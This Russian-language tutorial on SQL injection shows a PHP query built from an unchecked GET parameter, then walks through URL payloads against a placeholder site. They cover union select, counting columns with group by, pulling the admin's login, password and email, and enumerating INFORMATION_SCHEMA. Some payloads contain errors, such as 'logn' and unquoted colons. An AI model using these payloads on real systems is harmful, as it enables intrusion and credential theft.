HELLO WORLD TEAM - SQL-Injections+%231 - Интернет Безопасность SQL-Injections #1
Привет! Сегодня я расскажу вам некоторые методы раскрутки инъекции.
В этой статье мы рассмотрим причины по которым возникают инъекции , и как их использовать .
И так начнём! Начнём с самого зарождения инъекции ...
Некоторые программисты наивно полагают что их сайтом будут пользоваться только
законопослушные пользователи интернета , и оставляют входящие параметры
без проверки и фильтрации , по этой причине возникают уязвимости в движке.
Одна из таких уязвимостей это SQL инъекция.
Что это такое?! Это возможность изменить оригинальный запрос к базе данных
Например:
SELECT `title`,`content` FROM `news` WHERE `id`=$_GET['id']
Это самый очевидный тип инъекции , таким способом программист просто непросто
оставляет дверь к базе данных открытой , что приводит к инъекции ...
А как же её , использовать?! Из запроса очевидно что в URI должен быть
параметр id , что-то типа www.site.ru/index.php?id=1 .
Вместо 1 мы подставим наш запрос , например так :
www.site.ru/index.php?id=1+union+select+1,2/*
и так разберём каждый кусок запроса ..
id=1 при таком раскладе мы говорим что выбирать надо из таблицы news где id равен 1
если бы мы этого не сделали то запрос бы получился не корректным , а именно
SELECT `title`,`content` FROM `news` WHERE `id`= union+select+1,2 .
При таком раскладе он бы искал новость с индетификатором union , а теперь узнаем что означает знак + .
Этот знак в URL означает пробел. А также , с помощью union select ,
мы выбираем из базы данных то ,что нам нужно ...
Некоторые подставляют одинарную кавычку в url для проверки есть ли там инъекция ,
сами не понимая , что делают .И когда такой запрос не выдаёт ожидаемой mysql ошибки ,
уверены в том , что инъекции нет . Это не верная тактика , и объясню почему ...
Запрос может выглядеть так:
$sql='SELECT `title`,`content` FROM `news` WHERE `id`="'.$_GET['id'].'"';
Если вы впишете в url www.site.ru/index.php?id=1’1 запрос получится такого вида:
WHERE `id`="1'1" и никакой ошибки в таком запросе просто напросто нет!
Он будет искать новость с индетификатором (1'1) , а вот если подставить
www.site.ru/index.php?id=1”1 запрос будет такого вида:
WHERE `id`="1"1" что конечно же приведёт к синтаксической ошибке!
Теперь поговорим о количестве полей в запросе и как их подбирать.
Для union select нужно точно подобрать количество столбцов которые задеты в этом запросе.
Мы можем сделать это с помощью оператора group by , его можно подставлять запрос и подбирать количество столбцов...
Когда вы превысите количество столбцов , возникнет ошибка и тогда мы поймём что предыдущее значение было максимальным!
Например возьмём наш любимый запрос:
$sql='SELECT `title`,`content` FROM `news` WHERE `id`="'.$_GET['id'].'"';
И наберём в адресной строке следующее:
www.site.ru/index.php?id=1" + group by 1
хм... хорошо ошибки нет (Ведь в запросе затронуто 2 столбца title и content).
Наберём www.site.ru/index.php?id=1"+group+by+2 .... Тихо...
И в конец набираем www.site.ru/index.php?id=1"+group+by+3 .
УРА долгожданная ошибка ! Теперь мы точно знаем что количество затронутых столбцов 2 .
Зная название таблиц и их столбцов можно выбрать из базы всё!
Скажем в базе есть таблица users и в ней столбцы Login Pass и Email
Давайте узнаем пароль админа (Его индитификатор предположительно 1)
www.site.ru/index.php?id=1"+union+select+login,pass+from+users+where+id+like+1 .
При таком запросе на нам выведет на экран логин и пароль админа .
Постойте а как же Email ? В такой ситуации к вам на помощь приходит функция concat,
Теперь сформируем запрос заново
www.site.ru/index.php?id=1"+union+select+1,concat(logn,:,pass,:,email)+from+users+where+id+like+1
после такого запроса нам на экран выведет логин,пароль и Email админа в таком виде:
login:pass:email .
И так с этим разобрались!
Но что же делать когда вы не знаете название таблиц и столбцов в базе?
В таком случае может спасти INFORMATION_SCHEMA !
Узнать все поля и таблицы можно следующим способом
www.site.ru/index.php?id=1”+union +select+TABLE_SCHEMA,COLUMN_NAME+from+INFORMATION_SCHEMA.COLUMNS+where+1